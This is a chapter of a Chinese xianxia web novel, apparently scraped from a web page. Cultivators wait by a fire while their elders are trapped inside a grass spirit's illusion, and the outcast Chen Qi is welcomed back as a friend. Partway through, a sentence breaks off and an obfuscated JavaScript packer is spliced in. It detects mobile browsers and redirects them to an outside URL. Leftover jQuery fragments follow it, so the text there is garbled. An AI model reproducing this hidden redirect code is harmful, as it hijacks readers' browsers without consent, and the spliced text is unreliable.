光影在眼前飞速更迭,幻境要开始了。
林庚礼暗暗皱眉看着怀中的人脸色惨白如纸,冷汗一滴滴落下,没时间了。
他抬起自己的左手,在刚刚划伤还未来得及愈合的伤口上沾了沾,鲜红血线没入金光,两道替伤符咒分别打在边关月的额头和江承意的手背,又反手结印,在自己魂魄上留下烙印。
进了这镜子恐怕要忘却自己姓甚名谁,然而不知这镜子影射的是谁,想要他们做什么事情……
林庚礼仓促间只能先给两位小辈留下一道替伤咒,以免发生意外,连接自己的魂魄上在上面留下印记,在其他两人魂魄不稳或者受到致命危险时让自己恢复记忆,完成草灵的任务。
果然就在林庚礼施完咒的瞬间,刚刚那面浮在空中的镜子突然急速的旋转起来,将地上一行人吸了进去……
陈棋在心里暗暗叹了一口气,又是一个人了。
凌云门今天来的弟子不是伤他爷爷的人,但他们的门风确实助长他们欺压民者的帮凶,他刚刚是真的想杀了凌云门的人再跟着一起去的,他不后悔,但终究是对不住李渔歌他们......
他们掌门说会帮自己讨公道,还说可以收自己进玉昆山,他......是想去的,夜间山上的风也是真的有点冷,陈棋紧了紧身上的衣服。
但是自己又有何颜面再面对他们,恐怕就算自己厚着脸皮去,他们也不会再看他一眼了......
思及此处,陈棋忍不住又犯了自己之前的毛病,捋着流苏的手不禁加大了力度,指尖都跟着泛白,那玉佩被揪的面目全非,隐隐有暗光浮现。
陈棋脑中不停地反复播放着玉昆山掌门进入仙矿前说的那几句话,看着李渔歌想说话却又不敢开口......
仙矿的钥匙也就那枚刻着他名字的玉佩静静挂在陈棋的腰间,陈棋的手指不停的捋着上面的流苏。
因为怕仙矿磁场会干扰草灵的能量波动会对树里的三人不利,陈棋在从土里出来后第一件事情就是关闭仙矿的入口,停掉他刚刚歪打正着借用仙矿的力量来对付敌人的泥沼。
只不过肖昱和李渔歌似是对他这样不管不顾的行为感到生气,为他欺骗他们而觉得心灰意冷。
玉昆山的弟子包括肖昱和李渔歌,在他们掌门进入树灵体内起一直没和他说过话,训练有素的将树灵严丝合缝的包围了起来,那树灵周围密不透风到它枝干上的的叶子都不怎么随风飘动。
陈棋与一众仙门弟子分开,自己独自坐在一隅,夜色笼罩在肩头,顿觉无边孤寂。
他先是用一种自己看不见的眷恋眼神看了玉昆山那边一眼,他们正井然有序的听从肖昱和李渔歌的安排,一群人围在一起,又神色复杂的扫过从泥沼中就出来就离得他坐的远远的凌天门弟子们,个个狼狈的不得了。
其中有一个弟子也在关心自己少门主的情况,偷摸的向这边探头探脑的瞧,一抬眼就和陈棋的目光对上了,对面凌云门的弟子立马躲闪着目光避开。
出于对御寒和节省灵力的双重考虑,李渔歌和肖昱让几个小弟子去找了些小石子和树枝来生火。
他们在周围搭了个石堆,树枝和其他填充物在其中噼啪作响的燃烧。
他们在靠近火光的地方呆着,陈棋蜷缩着自己一个人在远处黑暗里坐着。
凌云门不敢再有什么大动作生怕引起他们的注意,也没有不长眼的敢过来招惹这个他们看不起的民者,只是悄悄的用术法抵御夜晚的寒风,偶尔偷偷交流几句话,也是门派的师兄弟坐在一起。
肖昱有些怅然,想不到一别十数年,山下人间里,修仙者与民者间的地位已如高山丘壑一般难以相平,可分明大家都是天寒会冷,高兴会笑,会和三两好友说悄悄话的人啊。
他在林庚礼进入树林内后自动进入了十二分戒备的状态,因此周围的风吹草动都逃不过他的眼睛。
尤其陈棋自己一个人孤零零的角落里周围甚至没有挡风的地方,火堆散出的光照不亮离他们很远坐着的人的脸。
肖昱也猜不透陈棋此时此刻在想什么,只是不想看着他自己在孤零零一个人在那坐着了,反正掌门都说了愿意让他玉昆山修行。
他可以不计较之前他跟他们说好要回玉佩要去凌云门找那些弟子算账却转头要杀很多无关的人的姓名了。
还没等肖昱开口,那浮现的绿色幽光顿时让肖昱回想起了刚才湿软下陷的泥沼和无论如何都执意不改要去赴死的陈棋,声音冷冷道:
“你把玉佩流苏拽秃了不打紧,但是要是不小心触动了仙矿的机关,我一定饶不了你。”
陈棋像是不觉得会有人在此刻开口,被骤然出现的声音吓了一大跳,玉佩差点被甩到地上,猛一抬头:“你......你身后?”
肖昱顺着话音回头看去,只见那草灵幻化出的树肉眼可见的比之前长高了一圈,叶片也厚实了不少。
肖昱和李渔歌对视一眼,想来应该是师伯和边关月他们在里面发生的事情有关,这树的样子看起来还不错,他们在里面应该暂无性命之忧。
“咳,那什么陈棋......你过来这边有火堆暖和点。”肖昱揉了揉自己的鼻子有点别扭的从牙缝里挤出几句话。
陈棋捏紧手里的玉佩站在原地一动不动,明明心里及其渴望向往那片光明,可脚下仿佛生了冰将他生生动在原地。
“他们还愿意当我是朋友吗……”
“快来快来,正好我们也有事要和你坦白......”李渔歌抓着陈棋的胳膊把他往火可以烤到的地方拽。
陈棋亦步亦趋的顺着李渔歌的力道走,视线一直停留在李渔歌被忽明忽暗的火光照着的明亮侧颜。
肖昱知道李渔歌是憋不住了,眼下他们之前对陈棋来历和目的本来就剩的不多防备和隔阂也在刚才被掌门三言两语给化解了。
她就想跟陈棋坦白之前在渠源中的预言,也就是之前她们之所以答应帮助陈棋收回玉佩的那一部分私心。
当然李渔歌把这件事光明正大说出来后,也就意味着四个人以后彼此之间不会再有隐瞒和欺骗了。
李渔歌是真的想交陈棋这个朋友,也是真心相劝想让他也当玉昆山门的弟子这样他们以后就可以和一直在一处相处了。
肖昱听着李渔歌小心翼翼的跟陈棋解释又信誓旦旦的表明自己想要和他当朋友的决心,感觉心里有点空落落的。
平常只有三个人的队伍,只有他一名男子,现在唯一性也没了,他的地位不一定要怎么下降呢。
边关月也不在,李渔歌和陈棋又聊的火热,虽然李渔歌说的大部分内容和肖昱想的大差不差,只是还是觉得自己有点落单了。
一直没听到陈棋的话音,李渔歌不禁有点忐忑,手攥成拳被汗浸湿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662576|172853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她在心底暗暗揣测难道是因为我们之前有所隐瞒,他不高兴了?
陈棋听完释然了不少,这样的话彼此都有自己的“不足为外人道也”的秘事相互隐瞒也是不得已而为之的事情算扯平了。
这样一来反倒让他轻松了许多,辜负真心实意的骗人精活该千刀万剐,但是倘若另一方也给出的是掺杂着有过计算的真心反而让人不会有太多的负罪感。
他还没来的及给出回应,就被山间的晚风吹的打了个大大的喷嚏。
“阿嚏”
李渔歌为表自己要和陈棋当朋友的决心,当即就掏出一堆瓶瓶罐罐清一色的摆在陈棋面前,倒出里面装着的丹药,祛风防寒强身健体让陈棋都吃了。
陈棋看着那一堆五花八门五颜六色的丹药一阵眼晕,忙摆手拒绝示意自己刚刚那个喷嚏是个意外,他不需要吃这么多药。
李渔歌看他不肯就立马联想到了之前渠源中讳疾忌医的病人,说什么也得让陈棋都吃了。
甚至还劝说肖昱来帮忙抓住陈棋,把药丸给他灌进去。
肖昱二话不说直接站了起来,不过不是帮李渔歌,而是救了快被李渔歌丹药噎死的陈棋一命。
小药童什么都好,就是在治病救人这一方面,太有丹修的丹德了,之前他练剑时筋脉拉伤时也是这样的,硬是被李渔歌关在房间里闷了一周,边关月就在一旁看戏也不知道来帮帮忙。
回忆到此处,肖昱联系到眼前的情景不免觉得和陈棋有些难兄难弟的意思,悄悄的跟陈棋说李渔歌之前治疗自己绝情的样子。
李渔歌看陈棋确实不像生了病聚精会神的听肖昱讲述他们之前事情时,也不执着非要给他吃药了,也凑过去跟他们坐在一起回忆她们三个的往事。
李渔歌把眼睛笑成了月牙给陈棋讲肖昱的糗事回击:“我记得小时候有一次,咱们刚刚上山的时候,阿月和我们还不熟,那时候总愿意坐在树上呆着,有一次肖昱忍不住了爬上树想和她说话结果没踩稳差点掉下来…唔……”
肖昱捂住李渔歌的嘴佯怒:“小渔歌,你怎么也被边关月给带坏了!居然也开始说人坏话了。”
提到边关月,李渔歌立刻从温馨的儿时回忆中掉回山间萧瑟的夜。
一想到阿月现在还在树内状况不明,李渔歌顿时扯下肖昱的手,刚才还亮晶晶的眼睛暗淡下来:“我没有……只是也不知道阿月和师伯在里面怎么样了,如果我没有拿那盆草会不会阿月就不会进入草灵的世界内……”
“别这么想。”
“不是你的错。”
肖昱和陈棋同时出声,抬头互相看去又各自移开视线。
肖昱也很担心边关月,只是被掌门师伯委以重任他不能慌乱,还要当剩余弟子的主心骨,旁边还有凌云门的弟子,也不想在他们面前失了身份,对李渔歌摇了摇头。
陈棋轻轻拍了拍李渔歌低下去的头,在她抬起头的瞬间对上李渔歌的双眼:“按照刚刚掌门所言,我的玉佩掌管这座土矿,其中蕴含土能量与草灵能量相克,我能靠着这个感应到草灵目前的能量很平稳没有异动,有些时候没有消息就是最好的消息,她们会没事的。”
听闻此言李渔歌松了口气,肖昱面色稍缓郑重地说:“那就好,陈棋,如果草灵有什么变化,你要记得告诉我。”
陈棋重重的点了点头,示意自己知道了。